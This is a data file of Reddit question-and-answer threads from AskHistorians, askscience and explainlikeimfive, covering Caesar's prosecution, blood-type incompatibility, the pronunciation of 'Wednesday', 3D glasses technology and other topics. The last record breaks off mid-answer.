{"q_id": "7725t9", "title": "Julius Caesar sought to extend his public office to avoid prosecution. What exactly were the charges, and what would be the consequence of them for Caesar?", "selftext": "Edit: I know Cato charged Caesar for war crimes in Germania, but how were these charges supported if he was suppressing the \u2018barbarian\u2019 tribes, as Rome had always done? What specifically were these war crimes referring to?\n\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7725t9/julius_caesar_sought_to_extend_his_public_office/", "answers": {"a_id": ["doizvrb"], "score": [4], "text": ["The notion that Caesar sought to extend his *imperium* (or uphold its original length) to avoid prosecution is rejected outright by Gruen (*The Last Generation of the Roman Republic*, 495), and he notes that this narrative, originating already in antiquity, has found its way into virtually all discussions of the topic.  Yes, the *inimic\u012b* of Caesar had charges ready to level against Caesar, and had been clutching them since 58.  They included (vaguely) accusations about procedural violations during Caesar's consulship of 59, which certainly occurred.  They also probably included the famous \"war crimes\" charges of Cato.  Gruen argues, however, that a fear of becoming a *privatus* (ie losing the legal protections of *imperium*) was never Caesar's prime motivation in the events leading up to January of 49.  The sticking point, as both Caesar's own words, as well as Cicero's letters make (relatively) plain, was Caesar's right to stand for the consulship *in absentia* for 50, later pushed to 49.  I strongly agree with Gruen that this had little to do with the threat of some petty trial back in Rome, and everything to do with Caesar's plans for the organization of Gaul and his own *dignitas* vis-\u00e0-vis the *factio* back in Rome and especially Pompey.  As Gruen states, \"lesser men\" had easily skated away from such prosecutions many times in the past.  \n\nAs to the first reason: Caesar had spent years fighting for control in Gaul, and as many again stamping out persistent and dangerous opposition to that control.  Though it is never spelled out as such, it follows that Caesar sought an extension of his proconsular powers in Gaul in order to organize his conquests into a proper *provincia,* as countless others had done in similar circumstances (including Sulla and Pompey in the East in recent decades).  Caesar seemed already to be thinking about such efforts upon the eruption of the conflict with Vercingetorix.  No one doubts that the next step in Caesar's political journey was a second consulship back in Rome, and one motivation for that magistracy must have been the expedited implementation of his arrangements in Gaul.  He had himself, during his consulship back in 59, provided similar services for Pompey's Eastern arrangements.  \n\nAs to the second reason: again, I think Gruen is spot on: \n > if Caesar's offers for mutual disarmament were genuine, he was willing even to forego the ratio absentis in the later months of 50. But he would not yield submissively to the blusterings of the conservatives, much less to the bullying of Pompey. In the end it was a matter of personal dignitas. That was Caesar's own explanation for the invasion of Italy. And we have no reason to doubt it. (496)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1qg4dy", "title": "How did the typical Renaissance monarchy such as England's view the prospect of improving the life of it's citizens?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1qg4dy/how_did_the_typical_renaissance_monarchy_such_as/", "answers": {"a_id": ["cdchk54"], "score": [3], "text": ["I'd caution against generalizations here. There is not much that is \"typical\" about England's monarchy in the Early Modern Period. \n\nThe work I would suggest you read about this is [Paul Slack's *From Reformation to Improvement: Public Welfare in Early Modern England*.](_URL_1_) (Oxford University Press, 1999).\n\nThe book is a collection of Slack's Ford Lectures on the same subject. It's been a few years since I've read it, but I can give a brief introduction to his argument. \n\nThe idea of the [\"commonweal\"](_URL_0_), or public good, has existed in English political discourse since the fifteenth century. The word eventually transformed into \"commonwealth\" which is still in use today and has much the same meaning. \n\nSlack charts how in this period local towns and other civil institutions began to accept responsibility for the public good. After the Reformation, towns and other local groups began to take actions to deal with the poor, the sick, and the elderly instead of the Church.\n\nSlack argues that the crown began to recognize the appeal of justifications based around the \"public good\" as opposed to justifications based solely upon the authority of the crown itself. \n\nEventually, the government began to work with local and civic institutions in its efforts towards the public good, and eventually would let such institutions take the lead on many matters. Slack sees this as the antecedents of the modern system of Government/Parliamentary regulation and oversight of society's wishes. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.merriam-webster.com/dictionary/commonweal", "http://www.worldcat.org/title/from-reformation-to-improvement-public-welfare-in-early-modern-england/oclc/38542645&amp;referer=brief_results"]]}
{"q_id": "30he56", "title": "what makes indiana's rfra different from those of other states?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/30he56/eli5_what_makes_indianas_rfra_different_from/", "answers": {"a_id": ["cpsm1qu"], "score": [3], "text": ["I've had the same question and the quick answer is - it extends the \"freedom\" to businesses, basically. \n\nAs I understand it, in other states and the federal statue, the RFRA's only stop the government from passing or enforcing laws that restrict religious freedoms. i.e. you can consume peyote for religious ceremony or serve wine to a minor.\n\nThe Indiana bill is basically saying the same but a private business that refuses a person for being gay is legal. The same business refusing business on basis of race, gender or even the other person's religion would be illegal - as those are protected classes. In Illinois, for example, LGBT is a protected class so discrimination on that basis is illegal. In Indiana, LGBT is not protected.\n\nBased on _URL_0_, it appears Mississippi does the same. I'm not entirely sure why the Indiana bill has caused more stir but it does help explain why most other bills are less publicized."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://rfraperils.com/states/"]]}
{"q_id": "17rsig", "title": "List of 26 things that did \"not make sense\" 4-8 years ago according to NewScientist. Current status?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/17rsig/list_of_26_things_that_did_not_make_sense_48/", "answers": {"a_id": ["c888umi", "c88ag72", "c88auej"], "score": [5, 2, 2], "text": ["I'm not sure about any of the others off the top of my head, but I know that the 'Bloop' has been considered solved. The answer: [ice quakes](_URL_0_).", "The bit about hybrid origin of species.....it's well known that new species can form from hybrids between fairly closely related groups (think two species in the same genera, and you'll get the right idea).   There's a much more controversial idea that in some cases the weird shifts between larval and adult forms of creatures are due to hybridizations between distantly related groups (think different classes or even phyla).  This is a super cool idea, but the evidence doesn't really support it at this point.", "Actually Morgellon's disease was investigated by the CDC and the [results were published last year](_URL_0_). The disease is a poorly characterized constellation of symptoms including formications (feelings of insects crawling under the skin), skin symptoms including fibers growing from the skin, and some systemic symptoms (fatigue, etc). All in all it was really very odd, and there was a large lay lobby that proposed it was caused because of an undescribed infection (not impossible by any means).  \n\nIt was investigated in the Kaiser Permanente cohort, where it was found that patients had no identifiable parasites or mycobacterium, or any other biotic etiologic cause. The fibers arising from the skin were similar to cotton fibers from clothes, with evidence of dyes present. Notable was the high rate of substance abuse in patients, which can be for a large number of reasons. \n\nThe sort of current synthesis is that this is due to a delusional parasitosis, in which patients have psychosomatic symptoms. Notice that this is not to say that they do not have a disease, nor is it to say that they are not suffering. By all standards these people are really suffering, but not much can be done for them at present."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.pmel.noaa.gov/vents/acoustics/sounds/bloop.html"], [], ["http://www.plosone.org/article/info%3Adoi%2F10.1371%2Fjournal.pone.0029908"]]}
{"q_id": "5pkjxn", "title": "Does parental blood type influence miscarriage or development?", "selftext": "I've read about different/rare blood types such as A2, etc. Knowing that a fetus gets their type from mother and father, and might not be the same blood type as mom, how does that impact fetal development and mom's health?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5pkjxn/does_parental_blood_type_influence_miscarriage_or/", "answers": {"a_id": ["dcsd69g", "dcv5msh"], "score": [6, 2], "text": ["The most common example of this is Rh Incompatibility where an Rh- woman is impregnated by an Rh+ man. If the fetal blood is Rh+, it can immunize the woman who considers this a foreign antigen. When the maternal anti-Rh antibodies cross the placenta, they can lyse fetal blood cells leading to complications including fetal death. At birth, this is called hemolytic disease of the newborn. Accumulation of heme degradation products (bilirubin) can swamp the fetus or newborn's ability to further metabolize these toxic intermediary compounds. Since the blood brain barrier is not yet well-formed, high bilirubin levels can cause brain damage leading to later developmental abnormalities. This process is known as kernicterus. \n\nOften, maternal Rh exposure occurs at birth, meaning that the first child is born unaffected. Subsequent pregnancies begin with the mother already immunized resulting in miscarriages unless the fetus also happens to be Rh-. \n\nTo prevent this, pregnant Rh- women are treated with anti-Rh antibodies that will bind and destroy Rh+ cells before they are recognized by her immune system. \n\nSee: _URL_0_\n\nVery rarely, more minor antigen incompatibility can cause a similar scenario.", "Yes! /r/oncobyte gave a great explanation of one case: HDN from Rh.  Here's a little background info.\n\nBLUF: It depends on the mixing of fetal and maternal blood, previous exposure to antigens, and the size of the antibodies.\n\nThe blood of a mother and child normally don't mix during pregnancy. The placenta contains capillaries that allow dissolved nutrients, oxygen, and water to cross over from mother to child without allowing cells or larger molecules to do so.\n\nSo, one of two things has to happen to cause a reaction to happen: Either a tear in the placenta that allows fetal and maternal blood to mix (called a fetal-maternal bleed,) or the mother's antibodies cross over and attack the fetal blood.\n\nSo what about ABO blood types? Why wouldn't say, a type A mother's blood attack a type AB fetus? Well, there are different types of antibodies. Many different types. But the two we're interested in here are IgM and IgG.\n\nIgM is big. Really big. It's pretty much 5 antibodies combined into one, all arrayed out like a star. Which is good. The different branches can grab onto different cells and clump them together for easy attack and disposal. IgG is small. It can only attack one cell at a time, marking it for destruction by various methods.\n\nAnti-A (and anti-A1) and anti-B are IgM antibodies. They're too big to cross over, so the mother's antibodies can't attack the fetal cells. Anti-D (the Rh antigen is also called the D antigen) is IgG, and can cross over.\n\nNow, due to environmental antigens being similar enough to A and B antigens, we all have the antibodies to whatever we don't have. You're type A, you have anti-B, and vice versa. This is unique to A and B antigens. All the other blood types (there are 30+ others) don't have that. In order to develop antibodies, you have to get exposed to the antigen somehow. So the other types are only a factor in somebody that's received multiple transfusions. We call that \"sensitization.\"\n\nSo now we have 3 factors: has there been a bleed, can the antibodies cross over, and has the mother been sensitized against the antigen?\n\nDuring birth and expulsion of the placenta, the fetal and maternal blood mix. So there's a sensitization that happens there. Which means an Rh negative mother won't have any issues with the first Rh positive baby, but the second one on gets attacked by the mother's immune system. That's where HDN comes in. Used to be a **major** cause of infant mortality in the form of a syndrome called \"hydrops fetalis.\" Rhogam, which is lab-created anti-D, coats the fetal cells that mix during pregnancy and prevents sensitization. Rhogam shots have done more to reduce infant mortality more than anything other than antiseptic technique.\n\nWhat about all the other types? Well, they do cause a reaction, but not as drastic as anti-D. Anti-D causes an unusually strong response. The baby will be born with a bit of jaundice, which can be treated by sunlight or UV light (UV breaks down bilirubin, the byproduct of blood cell breakdown, which is toxic in higher concentrations. High bilirubin can affect mental development even if it doesn't kill the newborn, so it's very important to get rid of it as quickly as possible.)\n\nIf you've read this far, here's a bonus fact: You might notice I didn't mention type O mothers in my examples. That's because type O people have a special case. In addition to anti-A and anti-B, they have a *third* antibody called anti-A,B. Anti-A,B is IgG, and crosses the placental barrier easily. An A or B child will always have jaundice with an O mother, and will need light treatment.\n\nAnd there's a short primer on how a mother and child's blood types can have an effect on fetal health and development."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Rh_disease"], []]}
{"q_id": "6wbdzb", "title": "what's the difference between dvi-i and dvi-d?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6wbdzb/eli5_whats_the_difference_between_dvii_and_dvid/", "answers": {"a_id": ["dm6r7nj", "dm6r80i"], "score": [5, 20], "text": ["A digital video interface has to have a lot of pins, but an analog interface doesn't need more than a few.\n\nDVI is an older (but still useful) digital video interface that can transmit analog video from the same connector. If the connector supports analog video in addition to digital, it is DVI-I. If it's just digital, it's DVI-D.\n\nA provision for analog video is important in connecting to older monitors which exclusively supported it - this connection can be as easy as a five dollar passive converter (as opposed to an active converter which has to do more than just rearrange cable connections, and so needs to be powered). Including this provision in the digital connector allows for more space on a motherboard/graphics card's IO board.", "DVI-D is digital only. This means that both the device and the monitor have to support the digital signal.\n\nDVI-I combines digital and analog signal. This allows you to use it to connect either digital or analog devices. Specifically it allows you to connect a DVI cable to an [analog VGA connector](_URL_0_) with a simple adapter, without requiring something that will convert the signal from digital to analog."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://upload.wikimedia.org/wikipedia/commons/thumb/9/92/SVGA_port.jpg/300px-SVGA_port.jpg"]]}
{"q_id": "373lce", "title": "why is wednesday pronounced like \"wensday\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/373lce/eli5_why_is_wednesday_pronounced_like_wensday/", "answers": {"a_id": ["crjdxqq", "crjf9v0", "crjhm8f", "crjkark", "crjkey2", "crjlm03", "crjlp72", "crjltz9", "crjlv7h", "crjlzlp", "crjm1rh", "crjm9da", "crjnrjz", "crjnsmf", "crjntie", "crjnvbq", "crjnygu", "crjo6b7", "crjoamk", "crjolyd", "crjoxe9", "crjpj3s", "crjpqmv", "crjqmrt", "crjqvto", "crjr3d3", "crjs07l", "crjtk1b", "crjuoqm", "crjxby5", "crjxer1", "crjxsv3", "crjyjsu", "crjzh0j", "crjzumv", "crk0ggc", "crk1801", "crk2oaq"], "score": [36, 2739, 304, 178, 16, 5, 6, 4, 3, 63, 2, 155, 15, 7, 7, 24, 2, 3, 2, 2, 2, 5, 31, 2, 2, 6, 4, 2, 2, 5, 18, 2, 3, 3, 3, 4, 9, 2], "text": ["Say it fast, it just kind of morphs into wensday. Think about people who couldn't read or write hundreds and hundreds of years ago just hearing the word and going with it ", "Wednesday comes from Wodin's Day, which meant \"Odin's day.\" He was a god in european folklore but thats unimportant. But yeah Wodinsday - >  Wednesday (Woh-dins-day - > wons-day- > wensday) over time just because people who speak a language are always making ways for that language to be faster. ", "For the same reason \"sergeant\" becomes \"sarn\" when pronounced by soldiers versus civilians. Repeated use of a lengthy and/or difficult to pronounce word becomes shortened by the speaker over time. Basically because we're lazy.", "Could people please remember that it's primarily only North Americans that pronounce it \"wensday \". There are plenty of other accents that pronounce it more closely to \"Wednesday\", like my own Scottish accent.", "And what's up with \"Slough\"?", "Probably for the same reason people say \"prolly\" or \"probly\" instead of the first word of this sentence.", "On a similar note, why is there that weird \"o\" in the middle of \"Sophomore\"?", "The top post doesn't really get to the meat of it. [Here are all the forms of Wednesday](_URL_0_) that are attested in the OED. As you can see, there are *a lot*.\n\nAs the top post says, the word evolved from a form meaning \"Wodin's day\" which explains more or less why the word is spelt how it is. But what happened was that the pronunciation evolved differently from the spelling - no surprise when absolutely *everyone* who spoke English would talk about the days of the week, but 1000 years ago would not be able to read or write. So the stuffy monks who wrote (Old) English continued to spell it similarly to how it had always been spelt. The ordinary person on the street pronounced it lazily, and so the pronunciation evolved more radically.\n\nTrivia time: the OED also mentions other mutations of the God Wodin's name:\n\n > The variant of the god's name is also evidenced in English place names, such as *Wensley*, Derbyshire (1212 or earlier as *Wednesleg*; earlier as *Wodnesleie* (1086) ), *Wednesbury*, Staffordshire (1227 as *Wednesbiri*; earlier as *Wadnesberie* (1086), *Wodnesberia* (1166)), and *Wednesfield*, Staffordshire (1251 as *Wednesfeld* ; earlier as *Wodnesfelde* (1086)).", "Fun fact: the word \"answer\" used to be pronounced and written [andsware](_URL_0_), but the middle d disappeared just as it did in Wednesday. Sometimes spelling catches up with pronunciation, sometimes it doesn't.", "I took only two classes in linguistics almost 10 years ago, so I'm fine if I'm proven wrong. But I'll take a crack at it.\n\nA large part of it comes from the physical mechanisms to pronounce \"Wed-nes-day\" and \"Wens-day.\" It boils down to pronouncing the 'd' and 'n.' It's much easier to pronounce 'nd' (like in the world \"end\") than 'dn.'\n\nWith 'nd,' it glides up the back of the mouth and ends in a nice alveolar stop. On the other hand, 'dn' (in English) is clunky and extremely uncommon, comparatively.\n\nCouple the ease of pronunciation with years and years of cultural reinforcement, and it's easy to see how something like that could stick.", "You mean Wedness day?", "Sun's Day, Moon's Day, Tyr's Day, Wodin's (Odin's) Day, Thor's Day, Frija's Day, Saturn's Day. Wednesday began as Wodin's Day, but as people used the term more and more, it went from being The Day of the Norse All-Father to merely the third day of the week. Once it lost that significance, it was easy for (mostly) illiterate speakers to slur the syllables together and develop distinctive pronunciations depending on their local dialect. The dialect that became modern English happened to drop the \"D\" and and swap the long \"O\" sound for a less-pronounced short \"E\". \n\nObligatory but sincere edit: getting gilded feels really neat! Much better than being gelded, I'm sure. Thanks a lot!", "It has a [dropped syllable] (_URL_0_), which is pretty common in English - see also chocolate, vegetable, restaurant, general, interest, etc.\n\nUnstressed syllables in the middle of the word before or after stressed syllables get dropped in a number of commonly said words.", "Fun fact! In Thai, we use the name of the planets in our solar system for the name of the days. \n\nMonday = Moon's day  \nTuesday = Mars' day  \nWednesday = Mercury's day  \nThursday = Jupiter's day  \nFriday = Venus' day  \nSaturday = Saturn's day  \nSunday = Sun's day", "Honestly because English pronunciation makes no sense whatsoever.\n\nWhy does a GH sound like an F? Why does PH sound lke an F, for that matter? When you speak another language where everything follows a much more uniform pronunciation scheme (like my native Portuguese), English pronunciation seems arbitrary as fuck.", "As a native Spanish speaker learning English this word gave me so much trouble. I would always say Wed-nes-day and couldn't understand why English speakers did not. That's loco.", "The pronunciation's changed over time and inconsistently so, hence the many answers you are receiving. If 'Wensday' is the way you pronounce it, then there was an intermediate step where the word was pronounced 'Wendsday'. Languages can change the order of consonants for a number of reasons, but one is to an order that is more normal in others words (the order nd is more common in English than dn - it's called meththesis). Pronounced 'Wendsday' and you'll hear that it's a short step to lose that 'd' sound altogether. But really pay attention to your tongue in your mouth - it's possible that the 'd' sound is still there, just very slight. Try comparing saying 'Wensday' compared to just 'Wens' and see if you can detect a difference.", "matter of your accent i would guess, i pronounce the the first d so it comes out like \"wednsday\" but i guess the d and n do fuse together somewhat depending on how quickly i am talking.", "Better question: Why did all the old librarians in my past pronounce it \"Wends-dee\"?", "Funny where I am from people pronounce it fully, including the D. I am from Northern Ireland if anyone is wondering. ", "Americans pronounce it wensday whereas western Canadians pronounce is Wednesday. Not really anything. Why do we pronounce it aluminum instead of aluminium yknow? Its cus ppl shorten words overtime", "the same reason Leicester is pronounced Lester?", "Not an answer but just some advice: don't expect any logic from the English language, it's fucking insane.", "YEah!  And why is february pronounced Feb-u-ary?  I guess that's someone \"per-ogative.\"\n\n", "It's pronounced wed-nez - day but very quickly.  It just evolved and slurred together in some places.", "You rilly haveta axe?", "... who pronounces without the d?", "The name of the linguistic phenomenon at play is [metathesis.](_URL_0_)  It happens in all languages.", "Because the English language doesn't adhere to a firm set of rules when it comes to pronunciation.  There are endless exception to these rules, in English.  That's why.  All that origin of the word horseshit is just that, justification for breaking the rules when they want to.\n\nSource:  I know what the fuck I am talking about.", "It's probably too late to add this, but I haven't actually seen the correct answer yet, so here goes:  The phenomenon you are referring to is known as **elision.**  Elision is the removal of a sound from the middle of a word in order to make it easier to pronounce.  Wednesday (Wens-day) and February (Feb-yoo-ary) are good examples.  Elision is a morphemic change common to the development of spoken language.  The opposite effect, where a sound is *added* to the middle of a word (pronouncing drawing as drawRing), is called epenthesis, and it's actually pretty common too.", "You're getting a *lot* of linguistically uninformed answers here, like: \n\n > over time just because people who speak a language are always making ways for that language to be faster. \n\nOr\n\n > it was easy for (mostly) illiterate speakers to slur the syllables together and develop distinctive pronunciations depending on their local dialect.\n\nOr\n\n > we're lazy.\n\nOr \n\n > Not an answer but just some advice: don't expect any logic from the English language, it's fucking insane.\n\n\nOr\n\n > Say it fast, it just kind of morphs into wensday.\n\nThey're not necessarily *wrong*, but not necessarily informative either. There are a couple of things you could be asking about, but I assume you're not asking about the etymology, rather, why the sounds don't line up with the order of the letters. This is called [*metathesis*](_URL_0_), and is a cross-linguistically common phenomenon: it's how Spanish gets *milagro* and *palabra* from Latin *miraculum* and *parabola* (cf. French *parole*, English *parable*).\n\nIt's also why you say *bird*, *horse*, *afraid*, and depending on dialect, *ask*, instead of *brid* *hros* *aferd/afeared* and *aks*, which are all attested, older forms (ever read Chaucer?).\n\nNow, you may be asking a slightly differnt question, so the other relevant phenomena are [*syncope*](_URL_2_), the loss of an unstressed vowel in the middle of a word, and [*consonant cluster reduction*](_URL_1_), which is basically what it sounds like. It's also a cross-linguistically common phenomenon. A good example is African American English, which tends to delete word final /t/ and /d/ when they occur in (1) clusters of consonants where (2) the consonants are all voiced or all unvoiced (e.g., I was *juss confuse*, where /st/ are both unvoiced and /zd/ are both voiced, so the coronal consonant -- that is /t/ or /d/-- can be deleted).\n\nSo while it's less snappy than \"we're all lazy!\" the real answer is that it's the result of a number of common historical processes that happen across languages.\n", "Americans prounounce Tuesday and Wednesday differently from, for example an englishman. The American way is Tuesday=toosday whereas the englishman would pronounce it tyoos-day. An American would pronounce Wednesday as wensday, whereas the englishman would pronounce it weddins-day. Its all to do with accents.", "Because the \"D\" is silent?", "On another weird note... Sean Bean? Why is the spelling similar but the pronunciation completely different? \nFor those who aren't native to English, the name is pronounced like \"Shawn Bean\" ", "Spanish this is clearer. Lunes-luna, moon. Martes- marte,mars. Miercoles-mercurio, mercury. Jueves-jupiter. Viernes-venus. Sabado-saturn. And Domingo doesn't fit in this. ", "articulation of /d/ then /n/ requires the tongue to tap, then press against the alveolar ridge which is a difficult articulation maneuver. you can feel your tongue fumbling it a bit when you pronounce both the /d/ and /n/ back to back. because of this the /d/ was most likely either dropped over time, or never included in the pronunciation. ", "Look here bo. It ain't the way you think it is or somethin', it's dang WINSDAY. It ain't no WENsday. Better yet, I reckon you say WINS-DEE. Just like that. We ain't tryna make it faster or take away from yer witchery or nothin, you juss ain't speaking right.\n\nMundee, Tuesdee, Winsdee, Thirsdee, Frydee, Game Day and Nascar.", "Pronounce Wednesday slowly.\nnow pronounce it fast.\n\nThe d and n phonemes are pretty similar.  Make and sustain an n sound with your tongue, now do it with a d sound.  Notice how your tongue is positioned.\n\nOver time the sound changed, especially as the language changes.  There's really no big why to it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["http://mathb.in/36490"], ["http://en.wiktionary.org/wiki/andsware#Middle_English"], [], [], [], ["http://linguistics-stuart.blogspot.com/p/dropped-syllable.html"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Metathesis_%28linguistics%29"], [], [], ["http://en.wikipedia.org/wiki/Metathesis_%28linguistics%29", "http://en.wikipedia.org/wiki/Cluster_reduction", "http://en.wikipedia.org/wiki/Syncope_%28phonology%29"], [], [], [], [], [], [], []]}
{"q_id": "m305c", "title": "current 3d technology", "selftext": "Why do some glasses require batteries? How do the cheap movie theater glasses work differently? How does some 3D work without glasses at all? \n\nThere seem to be a lot of variations within the 3D technology world.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/m305c/eli5_current_3d_technology/", "answers": {"a_id": ["c2xr63n", "c2xr63n"], "score": [5, 5], "text": ["The basis to simulating 3D is stereoscopy: a different image is sent to each eye.  If you want me to expand on why, just ask, but now I'll just explain several technologies on how it's done.\n\n**Anaglyph:** The mother of all 3D glasses.  The glasses have two lenses of different colors: red and cyan.  Two images are projected on screen through red and cyan filters, so that each eye picks up only the correct image.  Red and cyan are complementary color, which means that very little of the red light can go through the cyan glass, and vice-versa.  Each eye only sees the intended image.  A big advantage of this technology is that, as it relies on color, it can work for printed material.\n\n**Polarization:** The early form of polarization was done with linear polarization.  One glass was polarized at an angle, the other glass perpendicularly to that angle.  Both images are projected with the correct polarization filters for each eye.  A downside of that method is that, when you tilt your head ever so slightly, the angle is not aligned anymore and each eye will faintly see the image intended for the other eye, creating a \"ghost\" image.\n\nThe new polarization technology uses circular polarization instead.  One image is polarized clockwise, the other is polarized counter-clockwise.  This solves the tilting head problem.  This technology is used today in cinemas with the RealD system.\n\n**Interference:** This system works just like anaglyph, except that each eye doesn't have just one color.  Instead, the left eye can see a specific red, green and blue, and the right eye can see a slightly different red, green and blue.  So both eyes can see different images in full color.  This is the technology used today for Dolby 3D in cinemas.\n\n**Eclipse:** Here most of the work is done by the glasses: there's a battery that powers an LCD shutter screen in front of each eye.  The glass picks up a synchronization signal (infrared) from the screen.  When the image for the left eye is projected, along with the proper sync signal, the glasses will leave the left eye open and shut the right eye.  Then the inverse happens: right eye image projected, left eye shut in the glasses.  The change is done several times for each frame of a movie, so the human eye can't catch the flicker.\n\nThese glasses are known as active glasses because they perform a change of state, as opposed to all the previous technologies, where the glasses are static.  Active glasses are heavier because they contain LCD screens and batteries.  Another downside is that they cut off a lot of the luminosity.  \n\nThe upside is that, as most of the technology is in the glasses, it's easy to implement because it doesn't require any special light or filter.  All it requires is the ability to quickly change the image from one eye to the other.  This system is used by XpanD and Imax in cinemas, and you'll also find it for TV.\n\n**Autostereoscopy:** This system doesn't require glasses.  It is based on a parallax filter in front of the screen.  The parallax filter is such that some pixels are only visible from a certain angle, and other pixels from another angle.  This is used on 3D TVs and portable devices such as the Nintendo 3DS.  There are also rare cinema screens with that technology but they are not practical because, as the 3D effect relies on the viewer's position, you can't put seats in the whole room.\n\nThere are a few other stereoscopy technologies but these are the main ones on the commercial market right now.", "The basis to simulating 3D is stereoscopy: a different image is sent to each eye.  If you want me to expand on why, just ask, but now I'll just explain several technologies on how it's done.\n\n**Anaglyph:** The mother of all 3D glasses.  The glasses have two lenses of different colors: red and cyan.  Two images are projected on screen through red and cyan filters, so that each eye picks up only the correct image.  Red and cyan are complementary color, which means that very little of the red light can go through the cyan glass, and vice-versa.  Each eye only sees the intended image.  A big advantage of this technology is that, as it relies on color, it can work for printed material.\n\n**Polarization:** The early form of polarization was done with linear polarization.  One glass was polarized at an angle, the other glass perpendicularly to that angle.  Both images are projected with the correct polarization filters for each eye.  A downside of that method is that, when you tilt your head ever so slightly, the angle is not aligned anymore and each eye will faintly see the image intended for the other eye, creating a \"ghost\" image.\n\nThe new polarization technology uses circular polarization instead.  One image is polarized clockwise, the other is polarized counter-clockwise.  This solves the tilting head problem.  This technology is used today in cinemas with the RealD system.\n\n**Interference:** This system works just like anaglyph, except that each eye doesn't have just one color.  Instead, the left eye can see a specific red, green and blue, and the right eye can see a slightly different red, green and blue.  So both eyes can see different images in full color.  This is the technology used today for Dolby 3D in cinemas.\n\n**Eclipse:** Here most of the work is done by the glasses: there's a battery that powers an LCD shutter screen in front of each eye.  The glass picks up a synchronization signal (infrared) from the screen.  When the image for the left eye is projected, along with the proper sync signal, the glasses will leave the left eye open and shut the right eye.  Then the inverse happens: right eye image projected, left eye shut in the glasses.  The change is done several times for each frame of a movie, so the human eye can't catch the flicker.\n\nThese glasses are known as active glasses because they perform a change of state, as opposed to all the previous technologies, where the glasses are static.  Active glasses are heavier because they contain LCD screens and batteries.  Another downside is that they cut off a lot of the luminosity.  \n\nThe upside is that, as most of the technology is in the glasses, it's easy to implement because it doesn't require any special light or filter.  All it requires is the ability to quickly change the image from one eye to the other.  This system is used by XpanD and Imax in cinemas, and you'll also find it for TV.\n\n**Autostereoscopy:** This system doesn't require glasses.  It is based on a parallax filter in front of the screen.  The parallax filter is such that some pixels are only visible from a certain angle, and other pixels from another angle.  This is used on 3D TVs and portable devices such as the Nintendo 3DS.  There are also rare cinema screens with that technology but they are not practical because, as the 3D effect relies on the viewer's position, you can't put seats in the whole room.\n\nThere are a few other stereoscopy technologies but these are the main ones on the commercial market right now."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "fb5zyo", "title": "react programming: application of props in react", "selftext": "Mainly getting hung up how to properly define props and then utilize them in an application that has components spread out among different JS files. Any walk through with simple example would be MASSIVELY appreciated. I am 22 but need this explained to me like I am am 5.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fb5zyo/eli5_react_programming_application_of_props_in/", "answers": {"a_id": ["fj2r30l"], "score": [2], "text": ["Do you have any experience with other programming languages? It's tough to use non-technical terms but I can give it a go. If you don't know other languages, that's fine - just want to know what I can and can't use as a basis!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4blode", "title": "why does arizona state primary election results not fit any polling data anywhere?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4blode/eli5_why_does_arizona_state_primary_election/", "answers": {"a_id": ["d1aa1b3"], "score": [7], "text": ["There was a professional poller on CSPAN the other day. He said no matter how large the poll is, no matter how many people you get responses from, the polls do not represent most of the population. The reason is: 95% (his number) of the population WILL NOT TAKE A POLL. He said he'd been trying his entire life to get \"Did not respond.\" added to polling results but the numbers would end up looking like \"Would vote for Trump: 2%, would vote for Hillary: 3%, did not respond: 95%\" and nobody would pay for results like that. So when you see a poll it only represents the views of the 5% of the population that actually responds to polls."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "18ti6t", "title": "higgs boson may predict our universe ending in 10b years in a big slurp.", "selftext": "I was reading through the /r/askscience thread concerning this topic and couldn't understand a damn word of it. would someone be kind enough to explain it to this bumbling layman.\n\nthanks\n\nlinks: \n\n[Original Thread](_URL_1_)\n\n[Article](_URL_0_)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/18ti6t/eli5_higgs_boson_may_predict_our_universe_ending/", "answers": {"a_id": ["c8htmw8", "c8htpbo"], "score": [30, 15], "text": ["There's a field of energy that exists everywhere in the universe.  Even in the emptiness between planets in outer space, there is a little bit of energy.\n\nImagine that all of our physical laws \"rest\" on this field of energy.  It is the bottom-most foundation of all matter.\n\nWhat the article suggests is that this field of energy might not be the true bottom.  It might be the case that the TRUE bottom-most foundation of our universe is a field of far less energy.  It might be the case that in billions of years our local field of energy will fall apart, and the TRUE bottom field wouldn't be strong enough to support our physical laws.\n\nLYF: Our universe is a house resting on solid ground.  Now we find out there might be a sinkhole underneath the ground our house sits on.  In a few billion years our \"solid ground\" might crumble into the sinkhole, which means our house would also crumble.  You'll be dead long before then, though, so don't panic.", "Stuff is made of molecules. Examples of molecules: Water (H2O), oxygen (O2), sugar (C6H12O6), etc.\n\nMolecules are made of atoms - the elements of the periodic table. There are over a hundred different elements, hydrogen being the lightest.\n\nAtoms are made of a nucleus and an electron shell.\n\nElectrons are elementary particles.\n\nThe nucleus is made of neutrons and 